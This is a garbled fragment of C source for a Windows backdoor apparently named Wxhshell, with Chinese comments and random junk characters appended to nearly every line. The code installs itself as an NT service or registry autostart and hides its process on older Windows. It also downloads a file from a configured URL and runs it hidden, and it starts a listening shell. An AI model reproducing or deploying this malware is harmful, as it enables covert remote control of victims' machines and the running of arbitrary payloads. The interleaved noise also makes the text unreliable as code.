ULONG InheritedFromUniqueProcessId; ?Cu1"bl
} PROCESS_BASIC_INFORMATION; Hvm+Tr2@
?-"%%#
PROCNTQSIP NtQueryInformationProcess; ,s?7EHtC
LHt{y3l]
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c]y"5;V8
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {u1Rc/Lw
6__#n`
HANDLE hProcess; T2nbU6H
PROCESS_BASIC_INFORMATION pbi; 7H1 ii
t:|+U:! >
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s?.A
$^t
if(NULL == hInst ) return 0; 6 +:Tv2
RawK9K_1
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1>doa1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x}w"2[fL
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '}`|QJ
V
ifQ@
if (!NtQueryInformationProcess) return 0; /<HEcB
Y[A`r0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =s2dD3Fr|
if(!hProcess) return 0; t5%\`Yo?
HlkG^:)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2^Tj@P7
V7zF5=w
CloseHandle(hProcess); SX{shM2
yMQuM:d
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H?dmNwkPY
if(hProcess==NULL) return 0; PgKA>50a
1I?D$I>CV
HMODULE hMod; }HM8VAH
char procName[255]; lF:gQ]oc
unsigned long cbNeeded; 6z^Kg~a
MI|51&m
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _.xT
:b36
/\%K7\
CloseHandle(hProcess); O};U3=^0f
T;eA<,H
if(strstr(procName,"services")) return 1; // 以服务启动 Su<Ggv"
+TzF*Np
return 0; // 注册表启动 |P_\l,f8`
} xZ51iD$
[e2sUO0~r
// 主模块 ;CU<\
int StartWxhshell(LPSTR lpCmdLine) *0 ;DCUv
{ x*H4o{o0
SOCKET wsl; \haJe~
BOOL val=TRUE; $c-h'o
int port=0; dbkkx1{>Y
struct sockaddr_in door; TzXivE@mm
[<)/
c>Y
if(wscfg.ws_autoins) Install(); )`RF2Y-A7
`"0#lZ`n
port=atoi(lpCmdLine); C+r<DC3
Y",Fs(
if(port<=0) port=wscfg.ws_port; uzO%+B!
f\Bd lOJ>
WSADATA data; AsRS7V
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SR9Cl
i$)`U]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; KzRw)P
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [sC]<2 r
door.sin_family = AF_INET; {Gnji] v
door.sin_addr.s_addr = inet_addr("127.0.0.1"); w][1C\8m
door.sin_port = htons(port); +Y!9)~f}7X
z6)SaSYE
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sXzxEhp
closesocket(wsl); h1.]Nl
C
return 1; |x|#n
} 0`=#1u8
'`q&UPg]
if(listen(wsl,2) == INVALID_SOCKET) {
* P_
3A:_
closesocket(wsl); DLYk#d: q?
return 1; 0]l _qxv
} =J0X{Ovn4z
Wxhshell(wsl); )bZS0f-
WSACleanup(); Y`S9mGR#
+/60$60[z
return 0; j2T
Z`Z?a^
mie<jha
} tBgB>-h(
TIg3'au
// 以NT服务方式启动 od{b]HvgS
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I_mnXd;n
{ B\a-Q,Wf
DWORD status = 0; JcEPwF.
DWORD specificError = 0xfffffff; d`LBFH,
]KfjZ!Qh
serviceStatus.dwServiceType = SERVICE_WIN32; ?[Od.
serviceStatus.dwCurrentState = SERVICE_START_PENDING; UQ#"^`=R<
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O/^7TBTn<r
serviceStatus.dwWin32ExitCode = 0; "d'D:>z]%
serviceStatus.dwServiceSpecificExitCode = 0; u8pJjn;
serviceStatus.dwCheckPoint = 0; *<n]"-
serviceStatus.dwWaitHint = 0; :ND5po#(
*TY?*H
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d\}r.pD
if (hServiceStatusHandle==0) return; 0
;$[
<6`_Xr7)
status = GetLastError(); (tV/.x*G
if (status!=NO_ERROR) oLEqy
{ m72r6Yq2@
serviceStatus.dwCurrentState = SERVICE_STOPPED; K_
P08
serviceStatus.dwCheckPoint = 0; T] \_[e:'
serviceStatus.dwWaitHint = 0; K1 M s
serviceStatus.dwWin32ExitCode = status; ^ZX 71-
serviceStatus.dwServiceSpecificExitCode = specificError; H:
Rd4dl,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [mKPOg-t
return; =$6z1] ;3
} \ Tf845
smQ<lwA
serviceStatus.dwCurrentState = SERVICE_RUNNING; =Jfo=`da
serviceStatus.dwCheckPoint = 0; {)]5o| Hx
serviceStatus.dwWaitHint = 0; GGcNaW'
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6@?4z
Rkz
} O,"4HZG
( /{Wu:e
// 处理NT服务事件,比如:启动、停止 hER]%)#r
VOID WINAPI NTServiceHandler(DWORD fdwControl) )IQa]A
{ A{mv[x-XN
switch(fdwControl) BtS#I[-p_
{ 5q<AMg
case SERVICE_CONTROL_STOP: Lu!o!>b
serviceStatus.dwWin32ExitCode = 0; X(Gp3lG
serviceStatus.dwCurrentState = SERVICE_STOPPED; :,03)[u{8
serviceStatus.dwCheckPoint = 0; &U%AVD[
serviceStatus.dwWaitHint = 0; \<WRk4D
{ =n>&Bl-Bl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pIBL85Xe
} F)'kN2
return; .6Tan2[%
case SERVICE_CONTROL_PAUSE: ]ovP^]]V
serviceStatus.dwCurrentState = SERVICE_PAUSED; L=4%MyZ.e
break; v0)I rO
case SERVICE_CONTROL_CONTINUE: 7 sv
3=/`
serviceStatus.dwCurrentState = SERVICE_RUNNING; lB9 9J"A
break; sJ[I<
case SERVICE_CONTROL_INTERROGATE: U:xY~>
break; +jQHf-l
}; c3,YA,skb!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); WPT0=Hqp7
} 'E FP/(2J
>5Y%4++(
// 标准应用程序主函数 Y=+pz^/"
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UfcQFT{()
{ F}p)Q$0
?S^ U-.`
// 获取操作系统版本 rEEoR'c6
OsIsNt=GetOsVer(); (D5 dN\
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8."B
r w(EI,G
// 从命令行安装 EaaLN<i@0
if(strpbrk(lpCmdLine,"iI")) Install(); : p# 5nYi
' jAX&7G`
// 下载执行文件 qKu/~0a/
if(wscfg.ws_downexe) { JB.f7-
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M?m Pi 3
WinExec(wscfg.ws_filenam,SW_HIDE); M4[(.8iE
} .d{@`^dh1]
yf3c-p
if(!OsIsNt) { $m{-I=
// 如果时win9x,隐藏进程并且设置为注册表启动 UXpF$=
HideProc(); \
vf&Ldk
StartWxhshell(lpCmdLine); m,YBk<Bx
} D@@J7
else '/l<\b/E
if(StartFromService()) zf+jQ
// 以服务方式启动 4#?Sxs
StartServiceCtrlDispatcher(DispatchTable); MYyV{W*T>
else X@;;
h
// 普通方式启动 4mYJ i#e6x
StartWxhshell(lpCmdLine); 9 Z,K
Fo\* Cr9D
return 0; ejs_ ?
}